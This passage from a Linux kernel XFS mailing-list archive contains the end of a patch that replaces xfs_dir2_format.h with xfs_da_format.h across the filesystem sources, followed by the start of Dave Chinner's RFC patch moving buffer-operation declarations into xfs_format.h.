xfs_dir3_data_dot_offset(hdr)); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dotdot_entry_p(struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dotdot_offset(hdr)); -} - -static inline struct xfs_dir2_data_entry * -xfs_dir3_data_first_entry_p(struct xfs_dir2_data_hdr *hdr) -{ - return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_first_offset(hdr)); -} - -/* - * Leaf block structures. - * - * A pure leaf block looks like the following drawing on disk: - * - * +---------------------------+ - * | xfs_dir2_leaf_hdr_t | - * +---------------------------+ - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * | ... | - * +---------------------------+ - * | xfs_dir2_data_off_t | - * | xfs_dir2_data_off_t | - * | xfs_dir2_data_off_t | - * | ... | - * +---------------------------+ - * | xfs_dir2_leaf_tail_t | - * +---------------------------+ - * - * The xfs_dir2_data_off_t members (bests) and tail are at the end of the block - * for single-leaf (magic = XFS_DIR2_LEAF1_MAGIC) blocks only, but not present - * for directories with separate leaf nodes and free space blocks - * (magic = XFS_DIR2_LEAFN_MAGIC). - * - * As all the entries are variable size structures the accessors below should - * be used to iterate over them. - */ - -/* - * Offset of the leaf/node space. First block in this space - * is the btree root. - */ -#define XFS_DIR2_LEAF_SPACE 1 -#define XFS_DIR2_LEAF_OFFSET (XFS_DIR2_LEAF_SPACE * XFS_DIR2_SPACE_SIZE) -#define XFS_DIR2_LEAF_FIRSTDB(mp) \ - xfs_dir2_byte_to_db(mp, XFS_DIR2_LEAF_OFFSET) - -/* - * Leaf block header. - */ -typedef struct xfs_dir2_leaf_hdr { - xfs_da_blkinfo_t info; /* header for da routines */ - __be16 count; /* count of entries */ - __be16 stale; /* count of stale entries */ -} xfs_dir2_leaf_hdr_t; - -struct xfs_dir3_leaf_hdr { - struct xfs_da3_blkinfo info; /* header for da routines */ - __be16 count; /* count of entries */ - __be16 stale; /* count of stale entries */ - __be32 pad; /* 64 bit alignment */ -}; - -struct xfs_dir3_icleaf_hdr { - __uint32_t forw; - __uint32_t back; - __uint16_t magic; - __uint16_t count; - __uint16_t stale; -}; - -/* - * Leaf block entry. - */ -typedef struct xfs_dir2_leaf_entry { - __be32 hashval; /* hash value of name */ - __be32 address; /* address of data entry */ -} xfs_dir2_leaf_entry_t; - -/* - * Leaf block tail. - */ -typedef struct xfs_dir2_leaf_tail { - __be32 bestcount; -} xfs_dir2_leaf_tail_t; - -/* - * Leaf block. - */ -typedef struct xfs_dir2_leaf { - xfs_dir2_leaf_hdr_t hdr; /* leaf header */ - xfs_dir2_leaf_entry_t __ents[]; /* entries */ -} xfs_dir2_leaf_t; - -struct xfs_dir3_leaf { - struct xfs_dir3_leaf_hdr hdr; /* leaf header */ - struct xfs_dir2_leaf_entry __ents[]; /* entries */ -}; - -#define XFS_DIR3_LEAF_CRC_OFF offsetof(struct xfs_dir3_leaf_hdr, info.crc) - -extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, - struct xfs_dir2_leaf *from); - -static inline int -xfs_dir3_leaf_hdr_size(struct xfs_dir2_leaf *lp) -{ - if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || - lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) - return sizeof(struct xfs_dir3_leaf_hdr); - return sizeof(struct xfs_dir2_leaf_hdr); -} - -static inline int -xfs_dir3_max_leaf_ents(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) -{ - return (mp->m_dirblksize - xfs_dir3_leaf_hdr_size(lp)) / - (uint)sizeof(struct xfs_dir2_leaf_entry); -} - -/* - * Get address of the bestcount field in the single-leaf block. - */ -static inline struct xfs_dir2_leaf_entry * -xfs_dir3_leaf_ents_p(struct xfs_dir2_leaf *lp) -{ - if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || - lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) { - struct xfs_dir3_leaf *lp3 = (struct xfs_dir3_leaf *)lp; - return lp3->__ents; - } - return lp->__ents; -} - -/* - * Get address of the bestcount field in the single-leaf block. - */ -static inline struct xfs_dir2_leaf_tail * -xfs_dir2_leaf_tail_p(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) -{ - return (struct xfs_dir2_leaf_tail *) - ((char *)lp + mp->m_dirblksize - - sizeof(struct xfs_dir2_leaf_tail)); -} - -/* - * Get address of the bests array in the single-leaf block. - */ -static inline __be16 * -xfs_dir2_leaf_bests_p(struct xfs_dir2_leaf_tail *ltp) -{ - return (__be16 *)ltp - be32_to_cpu(ltp->bestcount); -} - -/* - * DB blocks here are logical directory block numbers, not filesystem blocks. - */ - -/* - * Convert dataptr to byte in file space - */ -static inline xfs_dir2_off_t -xfs_dir2_dataptr_to_byte(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) -{ - return (xfs_dir2_off_t)dp << XFS_DIR2_DATA_ALIGN_LOG; -} - -/* - * Convert byte in file space to dataptr. It had better be aligned. - */ -static inline xfs_dir2_dataptr_t -xfs_dir2_byte_to_dataptr(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return (xfs_dir2_dataptr_t)(by >> XFS_DIR2_DATA_ALIGN_LOG); -} - -/* - * Convert byte in space to (DB) block - */ -static inline xfs_dir2_db_t -xfs_dir2_byte_to_db(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return (xfs_dir2_db_t) - (by >> (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)); -} - -/* - * Convert dataptr to a block number - */ -static inline xfs_dir2_db_t -xfs_dir2_dataptr_to_db(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) -{ - return xfs_dir2_byte_to_db(mp, xfs_dir2_dataptr_to_byte(mp, dp)); -} - -/* - * Convert byte in space to offset in a block - */ -static inline xfs_dir2_data_aoff_t -xfs_dir2_byte_to_off(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return (xfs_dir2_data_aoff_t)(by & - ((1 << (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) - 1)); -} - -/* - * Convert dataptr to a byte offset in a block - */ -static inline xfs_dir2_data_aoff_t -xfs_dir2_dataptr_to_off(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) -{ - return xfs_dir2_byte_to_off(mp, xfs_dir2_dataptr_to_byte(mp, dp)); -} - -/* - * Convert block and offset to byte in space - */ -static inline xfs_dir2_off_t -xfs_dir2_db_off_to_byte(struct xfs_mount *mp, xfs_dir2_db_t db, - xfs_dir2_data_aoff_t o) -{ - return ((xfs_dir2_off_t)db << - (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) + o; -} - -/* - * Convert block (DB) to block (dablk) - */ -static inline xfs_dablk_t -xfs_dir2_db_to_da(struct xfs_mount *mp, xfs_dir2_db_t db) -{ - return (xfs_dablk_t)(db << mp->m_sb.sb_dirblklog); -} - -/* - * Convert byte in space to (DA) block - */ -static inline xfs_dablk_t -xfs_dir2_byte_to_da(struct xfs_mount *mp, xfs_dir2_off_t by) -{ - return xfs_dir2_db_to_da(mp, xfs_dir2_byte_to_db(mp, by)); -} - -/* - * Convert block and offset to dataptr - */ -static inline xfs_dir2_dataptr_t -xfs_dir2_db_off_to_dataptr(struct xfs_mount *mp, xfs_dir2_db_t db, - xfs_dir2_data_aoff_t o) -{ - return xfs_dir2_byte_to_dataptr(mp, xfs_dir2_db_off_to_byte(mp, db, o)); -} - -/* - * Convert block (dablk) to block (DB) - */ -static inline xfs_dir2_db_t -xfs_dir2_da_to_db(struct xfs_mount *mp, xfs_dablk_t da) -{ - return (xfs_dir2_db_t)(da >> mp->m_sb.sb_dirblklog); -} - -/* - * Convert block (dablk) to byte offset in space - */ -static inline xfs_dir2_off_t -xfs_dir2_da_to_byte(struct xfs_mount *mp, xfs_dablk_t da) -{ - return xfs_dir2_db_off_to_byte(mp, xfs_dir2_da_to_db(mp, da), 0); -} - -/* - * Free space block defintions for the node format. - */ - -/* - * Offset of the freespace index. - */ -#define XFS_DIR2_FREE_SPACE 2 -#define XFS_DIR2_FREE_OFFSET (XFS_DIR2_FREE_SPACE * XFS_DIR2_SPACE_SIZE) -#define XFS_DIR2_FREE_FIRSTDB(mp) \ - xfs_dir2_byte_to_db(mp, XFS_DIR2_FREE_OFFSET) - -typedef struct xfs_dir2_free_hdr { - __be32 magic; /* XFS_DIR2_FREE_MAGIC */ - __be32 firstdb; /* db of first entry */ - __be32 nvalid; /* count of valid entries */ - __be32 nused; /* count of used entries */ -} xfs_dir2_free_hdr_t; - -typedef struct xfs_dir2_free { - xfs_dir2_free_hdr_t hdr; /* block header */ - __be16 bests[]; /* best free counts */ - /* unused entries are -1 */ -} xfs_dir2_free_t; - -struct xfs_dir3_free_hdr { - struct xfs_dir3_blk_hdr hdr; - __be32 firstdb; /* db of first entry */ - __be32 nvalid; /* count of valid entries */ - __be32 nused; /* count of used entries */ - __be32 pad; /* 64 bit alignment */ -}; - -struct xfs_dir3_free { - struct xfs_dir3_free_hdr hdr; - __be16 bests[]; /* best free counts */ - /* unused entries are -1 */ -}; - -#define XFS_DIR3_FREE_CRC_OFF offsetof(struct xfs_dir3_free, hdr.hdr.crc) - -/* - * In core version of the free block header, abstracted away from on-disk format - * differences. Use this in the code, and convert to/from the disk version using - * xfs_dir3_free_hdr_from_disk/xfs_dir3_free_hdr_to_disk. - */ -struct xfs_dir3_icfree_hdr { - __uint32_t magic; - __uint32_t firstdb; - __uint32_t nvalid; - __uint32_t nused; - -}; - -void xfs_dir3_free_hdr_from_disk(struct xfs_dir3_icfree_hdr *to, - struct xfs_dir2_free *from); - -static inline int -xfs_dir3_free_hdr_size(struct xfs_mount *mp) -{ - if (xfs_sb_version_hascrc(&mp->m_sb)) - return sizeof(struct xfs_dir3_free_hdr); - return sizeof(struct xfs_dir2_free_hdr); -} - -static inline int -xfs_dir3_free_max_bests(struct xfs_mount *mp) -{ - return (mp->m_dirblksize - xfs_dir3_free_hdr_size(mp)) / - sizeof(xfs_dir2_data_off_t); -} - -static inline __be16 * -xfs_dir3_free_bests_p(struct xfs_mount *mp, struct xfs_dir2_free *free) -{ - return (__be16 *)((char *)free + xfs_dir3_free_hdr_size(mp)); -} - -/* - * Convert data space db to the corresponding free db. - */ -static inline xfs_dir2_db_t -xfs_dir2_db_to_fdb(struct xfs_mount *mp, xfs_dir2_db_t db) -{ - return XFS_DIR2_FREE_FIRSTDB(mp) + db / xfs_dir3_free_max_bests(mp); -} - -/* - * Convert data space db to the corresponding index in a free db. - */ -static inline int -xfs_dir2_db_to_fdindex(struct xfs_mount *mp, xfs_dir2_db_t db) -{ - return db % xfs_dir3_free_max_bests(mp); -} - -/* - * Single block format. - * - * The single block format looks like the following drawing on disk: - * - * +-------------------------------------------------+ - * | xfs_dir2_data_hdr_t | - * +-------------------------------------------------+ - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | - * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t : - * | ... | - * +-------------------------------------------------+ - * | unused space | - * +-------------------------------------------------+ - * | ... | - * | xfs_dir2_leaf_entry_t | - * | xfs_dir2_leaf_entry_t | - * +-------------------------------------------------+ - * | xfs_dir2_block_tail_t | - * +-------------------------------------------------+ - * - * As all the entries are variable size structures the accessors below should - * be used to iterate over them. - */ - -typedef struct xfs_dir2_block_tail { - __be32 count; /* count of leaf entries */ - __be32 stale; /* count of stale lf entries */ -} xfs_dir2_block_tail_t; - -/* - * Pointer to the leaf header embedded in a data block (1-block format) - */ -static inline struct xfs_dir2_block_tail * -xfs_dir2_block_tail_p(struct xfs_mount *mp, struct xfs_dir2_data_hdr *hdr) -{ - return ((struct xfs_dir2_block_tail *) - ((char *)hdr + mp->m_dirblksize)) - 1; -} - -/* - * Pointer to the leaf entries embedded in a data block (1-block format) - */ -static inline struct xfs_dir2_leaf_entry * -xfs_dir2_block_leaf_p(struct xfs_dir2_block_tail *btp) -{ - return ((struct xfs_dir2_leaf_entry *)btp) - be32_to_cpu(btp->count); -} - -#endif /* __XFS_DIR2_FORMAT_H__ */ diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index fb57893..2863b24 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -25,12 +25,12 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_bmap.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 4c3dba7..6d12a9a 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -24,12 +24,12 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_bmap.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index 8993ec1..69b2b6c 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -25,11 +25,11 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index bb6e284..044d117 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -23,13 +23,13 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_inode_item.h" #include "xfs_error.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_export.c b/fs/xfs/xfs_export.c index 066df42..96be1d6 100644 --- a/fs/xfs/xfs_export.c +++ b/fs/xfs/xfs_export.c @@ -22,8 +22,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_da_btree.h" -#include "xfs_dir2_format.h" +#include "xfs_da_format.h" #include "xfs_dir2.h" #include "xfs_export.h" #include "xfs_bmap_btree.h" diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 4c749ab..f3ee034 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -22,6 +22,8 @@ #include "xfs_ag.h" #include "xfs_trans.h" #include "xfs_mount.h" +#include "xfs_da_format.h" +#include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_alloc.h" #include "xfs_dinode.h" @@ -30,8 +32,6 @@ #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_error.h" -#include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_ioctl.h" diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index e3d7538..0921666 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -28,8 +28,8 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 2b8952d..9212286 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -26,6 +26,7 @@ #include "xfs_alloc.h" #include "xfs_quota.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" @@ -41,7 +42,6 @@ #include "xfs_icache.h" #include "xfs_symlink.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2_priv.h" #include diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 5868297..ff64733 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -26,6 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_error.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" @@ -50,7 +51,6 @@ /* Need all the magic numbers and buffer ops structures from these headers */ #include "xfs_symlink.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_attr_leaf.h" #include "xfs_attr_remote.h" diff --git a/fs/xfs/xfs_log_rlimit.c b/fs/xfs/xfs_log_rlimit.c index bbcec0b..ea9258a 100644 --- a/fs/xfs/xfs_log_rlimit.c +++ b/fs/xfs/xfs_log_rlimit.c @@ -22,6 +22,7 @@ #include "xfs_ag.h" #include "xfs_sb.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_trans_space.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 5dcc680..8ac98c7 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -26,8 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_da_btree.h" -#include "xfs_dir2_format.h" +#include "xfs_da_format.h" #include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index a5b59d9..ed2b3c6 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -26,8 +26,8 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 979a77d..8075d9f 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -26,6 +26,7 @@ #include "xfs_alloc.h" #include "xfs_quota.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" @@ -44,7 +45,6 @@ #include "xfs_trans_priv.h" #include "xfs_filestream.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_extfree_item.h" #include "xfs_mru_cache.h" diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index f622a97..d8702e5 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -25,8 +25,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_da_btree.h" -#include "xfs_dir2_format.h" +#include "xfs_da_format.h" #include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_ialloc_btree.h" diff --git a/fs/xfs/xfs_trace.c b/fs/xfs/xfs_trace.c index 5d7b3e4..9f4c0a0 100644 --- a/fs/xfs/xfs_trace.c +++ b/fs/xfs/xfs_trace.c @@ -23,13 +23,14 @@ #include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_btree.h" -#include "xfs_mount.h" #include "xfs_da_btree.h" #include "xfs_ialloc.h" #include "xfs_itable.h" diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index 5411e01..7d84cef 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -25,7 +25,7 @@ #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_error.h" -#include "xfs_da_btree.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index a65a3cc..14317fa 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -25,6 +25,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_error.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index e01f35e..0804750 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -18,7 +18,12 @@ #include "xfs.h" #include "xfs_log_format.h" -#include "xfs_da_btree.h" +#include "xfs_log.h" +#include "xfs_trans.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_attr.h" -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 07:13:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D25497F52 for ; Thu, 5 Sep 2013 07:13:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C1506304053 for ; Thu, 5 Sep 2013 05:13:44 -0700 (PDT) X-ASG-Debug-ID: 1378383221-04cbb02c3cd64160002-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 0iTPcBloVZ5HKKMT for ; Thu, 05 Sep 2013 05:13:42 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAHF0KFJ5LJ62/2dsb2JhbABbgweuVJUgF3SCJAEBBScvMwgYMTkDGxmIAbpVlAQDoiSHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:43:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHYRM-0001GP-Le for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHYRM-0004ES-KZ for xfs@oss.sgi.com; Thu, 05 Sep 2013 22:13:36 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [RFC PATCH 05/12] xfs: move buf_ops externs to a xfs_format.h Date: Thu, 5 Sep 2013 22:13:26 +1000 X-ASG-Orig-Subj: [RFC PATCH 05/12] xfs: move buf_ops externs to a xfs_format.h Message-Id: <1378383213-16155-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378383213-16155-1-git-send-email-david@fromorbit.com> References: <1378383213-16155-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378383222 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner All of the buffer operations structures are needed to be exported for xfs_db, so move them all to a common location rather than spreading them all over the place. They are verifying the on-disk format, so xfs_format.h is as good a place as any. Don't move the dir2 buffer verifiers - they are already shared in a "central" place for all the dir2 and moving them just requires adding more include files... Signed-off-by: Dave Chinner --- include/xfs_ag.h | 4 ---- include/xfs_alloc.h | 3 --- include/xfs_alloc_btree.h | 2 -- include/xfs_attr_leaf.h | 2 -- include/xfs_attr_remote.h | 2 -- include/xfs_bmap_btree.h | 2 -- include/xfs_da_btree.h | 2 -- include/xfs_format.h | 22 ++++++++++++++++++++++ include/xfs_ialloc.h | 2 -- include/xfs_ialloc_btree.h | 2 -- include/xfs_inode_buf.h | 2 -- include/xfs_sb.h | 3 --- 12 files changed, 22 insertions(+), 26 deletions(-) diff --git a/include/xfs_ag.h b/include/xfs_ag.h index 1cb740a..3fc1098 100644 --- a/include/xfs_ag.h +++ b/include/xfs_ag.h @@ -128,8 +128,6 @@ typedef struct xfs_agf { extern int xfs_read_agf(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, int flags, struct xfs_buf **bpp); -extern const struct xfs_buf_ops xfs_agf_buf_ops; - /* * Size of the unlinked inode hash table in the agi. */ @@ -191,8 +189,6 @@ typedef struct xfs_agi { extern int xfs_read_agi(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, struct xfs_buf **bpp); -extern const struct xfs_buf_ops xfs_agi_buf_ops; - /* * The third a.g. block contains the a.g. freelist, an array * of block pointers to blocks owned by the allocation btree code. diff --git a/include/xfs_alloc.h b/include/xfs_alloc.h index 99d0a61..feacb06 100644 --- a/include/xfs_alloc.h +++ b/include/xfs_alloc.h @@ -231,7 +231,4 @@ xfs_alloc_get_rec( xfs_extlen_t *len, /* output: length of extent */ int *stat); /* output: success/failure */ -extern const struct xfs_buf_ops xfs_agf_buf_ops; -extern const struct xfs_buf_ops xfs_agfl_buf_ops; - #endif /* __XFS_ALLOC_H__ */ diff --git a/include/xfs_alloc_btree.h b/include/xfs_alloc_btree.h index e3a3f74..72676c3 100644 --- a/include/xfs_alloc_btree.h +++ b/include/xfs_alloc_btree.h @@ -95,6 +95,4 @@ extern struct xfs_btree_cur *xfs_allocbt_init_cursor(struct xfs_mount *, xfs_agnumber_t, xfs_btnum_t); extern int xfs_allocbt_maxrecs(struct xfs_mount *, int, int); -extern const struct xfs_buf_ops xfs_allocbt_buf_ops; - #endif /* __XFS_ALLOC_BTREE_H__ */ diff --git a/include/xfs_attr_leaf.h b/include/xfs_attr_leaf.h index c102213..da34e64 100644 --- a/include/xfs_attr_leaf.h +++ b/include/xfs_attr_leaf.h @@ -336,6 +336,4 @@ void xfs_attr3_leaf_hdr_from_disk(struct xfs_attr3_icleaf_hdr *to, void xfs_attr3_leaf_hdr_to_disk(struct xfs_attr_leafblock *to, struct xfs_attr3_icleaf_hdr *from); -extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; - #endif /* __XFS_ATTR_LEAF_H__ */ diff --git a/include/xfs_attr_remote.h b/include/xfs_attr_remote.h index 92a8fd7..b3e1e1b 100644 --- a/include/xfs_attr_remote.h +++ b/include/xfs_attr_remote.h @@ -45,8 +45,6 @@ struct xfs_attr3_rmt_hdr { ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ sizeof(struct xfs_attr3_rmt_hdr) : 0)) -extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; - int xfs_attr3_rmt_blocks(struct xfs_mount *mp, int attrlen); int xfs_attr_rmtval_get(struct xfs_da_args *args); diff --git a/include/xfs_bmap_btree.h b/include/xfs_bmap_btree.h index 1b726d6..e307978 100644 --- a/include/xfs_bmap_btree.h +++ b/include/xfs_bmap_btree.h @@ -239,6 +239,4 @@ extern int xfs_bmbt_maxrecs(struct xfs_mount *, int blocklen, int leaf); extern struct xfs_btree_cur *xfs_bmbt_init_cursor(struct xfs_mount *, struct xfs_trans *, struct xfs_inode *, int); -extern const struct xfs_buf_ops xfs_bmbt_buf_ops; - #endif /* __XFS_BMAP_BTREE_H__ */ diff --git a/include/xfs_da_btree.h b/include/xfs_da_btree.h index b1f2679..a762cfa 100644 --- a/include/xfs_da_btree.h +++ b/include/xfs_da_btree.h @@ -309,8 +309,6 @@ int xfs_da3_node_read(struct xfs_trans *tp, struct xfs_inode *dp, xfs_dablk_t bno, xfs_daddr_t mappedbno, struct xfs_buf **bpp, int which_fork); -extern const struct xfs_buf_ops xfs_da3_node_buf_ops; - /* * Utility routines. */ diff --git a/include/xfs_format.h b/include/xfs_format.h index 